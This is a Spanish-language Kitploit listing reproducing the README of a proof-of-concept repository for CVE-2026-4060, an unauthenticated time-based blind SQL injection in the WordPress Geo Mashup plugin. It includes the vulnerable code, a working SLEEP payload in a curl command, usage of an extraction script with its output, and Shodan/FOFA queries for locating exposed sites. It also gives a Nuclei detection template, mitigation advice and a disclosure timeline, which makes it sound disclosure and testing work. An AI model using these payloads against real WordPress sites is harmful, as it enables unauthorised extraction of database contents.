Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-4060-PoC — Prueba de concepto para CVE-2026-4060: inyección SQL ciega basada en tiempo no autenticada en el plugin Geo Mashup de WordPress a través de la cláusula ORDER BY. Incluye script de explotación, entorno de laboratorio y plantilla de detección de Nuclei. | Kitploit
Herramientas/GitHubGitHub/ydking0911/cve-2026-4060-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Prueba de concepto para CVE-2026-4060: inyección SQL ciega basada en tiempo no autenticada en el plugin Geo Mashup de WordPress a través de la cláusula ORDER BY. Incluye script de explotación, entorno de laboratorio y plantilla de detección de Nuclei.

Ver Repositorio
19hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 PoC de Inyección SQL no autenticada

Severity CVSS Type Status

Atacantes no autenticados pueden inyectar SQL arbitrario en la cláusula ORDER BY a través del parámetro sort del endpoint render-map de Geo Mashup, permitiendo la extracción ciega basada en tiempo de información sensible de la base de datos.


Tabla de Contenidos

  • Resumen de la vulnerabilidad
  • Entorno de prueba
  • Cómo ejecutar
  • Resultados de la prueba
  • Mitigación
  • Detección
  • Cronología
  • Referencias

Resumen de la vulnerabilidad

CampoDetalle
CVECVE-2026-4060
PluginGeo Mashup por cyberhobo
Afectado≤ 1.13.18
Corregido en1.13.19
CVSS v3.17.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — Neutralización incorrecta de Elementos Especiales en SQL
Autenticación requeridaNinguna (No autenticada)

Detalle técnico

El parámetro sort aceptado por el endpoint render-map se pasa directamente a una llamada $wpdb->get_results() sin sanitización:

// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Debido a que $sort se interpola tal cual, un atacante puede inyectar una subconsulta en la cláusula ORDER BY. WordPress wpdb escapa las comillas simples, por lo que el PoC usa ORD(SUBSTRING(...)) con comparaciones numéricas para eludir esta restricción y realizar una extracción ciega basada en tiempo.

Endpoint vulnerable:

GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Entorno de prueba

ComponenteVersión
SOmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (vulnerable)
Python3.x (para poc.py)
Nucleiv3.8.0

Arquitectura del laboratorio

┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 activo en el administrador de WordPress:

Geo Mashup 1.13.18 activo en el administrador de WordPress


Cómo ejecutar

1. Iniciar el laboratorio

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh hará:

  • Levantar contenedores de WordPress 6.8.2 + MariaDB 11.4
  • Instalar y activar Geo Mashup 1.13.18 (versión vulnerable) mediante WP-CLI
  • Crear una entrada geoetiquetada para que el endpoint del mapa devuelva una respuesta válida

Una vez completado:

  • Sitio: http://localhost:8080
  • Admin: http://localhost:8080/wp-admin (usuario: admin / contraseña: admin)

2. Confirmar la vulnerabilidad (inyección SLEEP)

time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Un retardo de respuesta de ~8 segundos confirma la inyección SQL en ORDER BY.

3. Extraer datos (PoC)

# Predeterminado — solo imprime los resultados extraídos
python3 poc.py --url http://localhost:8080

# Verbose — muestra cada payload, tiempo de respuesta y carácter extraído
python3 poc.py --url http://localhost:8080 --verbose

# Confirmar solo SQLi, omitir extracción de datos
python3 poc.py --url http://localhost:8080 --confirm-only

4. Ejecutar la plantilla de detección de Nuclei

nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Desmontar el laboratorio

docker compose down -v

Resultados de la prueba

Verdadero Positivo (TP) — Objetivo vulnerable

TP-1: Inyección ORDER BY SLEEP(8) confirmada

Inyectar una subconsulta SLEEP(8) a través del parámetro sort produce un retardo de respuesta de aproximadamente 8 segundos.

time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) vía ORDER BY — respuesta de 8.05s

TP-2: Extracción de datos (modo verbose)

El PoC extrae datos carácter por carácter usando comparaciones ORD(SUBSTRING(...)): enviar payload → medir tiempo de respuesta → confirmar carácter cuando SLEEP se activa.

python3 poc.py --url http://localhost:8080 --verbose

poc.py verbose — payload, tiempo, caracteres extraídos

Datos extraídos:

ConsultaResultado
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Detección con plantilla de Nuclei

[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

Falso Positivo (FP) — Objetivo no vulnerable

La plantilla de Nuclei utiliza un flujo de dos pasos para prevenir falsos positivos.

FP-1: Geo Mashup no instalado

Si readme.txt devuelve 404 en el Paso 1, el escaneo sale inmediatamente sin enviar el payload SQL.

Scan completed in 62ms. 0 matches found.   ✅

FP-2: Versión parcheada (≥ 1.13.19)

Verificación de versión del plugin mediante readme.txt:

readme.txt mostrando Stable tag: 1.13.18

Si compare_versions(version, '<= 1.13.18') falla, el Paso 2 se omite por completo.

Scan completed in 19ms. 0 matches found.   ✅

Mitigación

AcciónDetalle
ActualizarActualizar Geo Mashup a 1.13.19 o posterior
TemporalDesactivar el plugin hasta que se aplique una actualización
WAFBloquear patrones de inyección de subconsultas en cláusulas ORDER BY

Commit del parche: plugins.trac.wordpress.org/changeset/3503627


Detección

Plantilla de Nuclei: nuclei/CVE-2026-4060.yaml

Flujo de detección:

Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA:

Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Cronología

FechaEvento
2026-04Vulnerabilidad descubierta
2026-04Reportada al autor del plugin
2026-05Parche Geo Mashup 1.13.19 liberado
2026-05-14CVE asignado y divulgado públicamente

Referencias

Descargar herramienta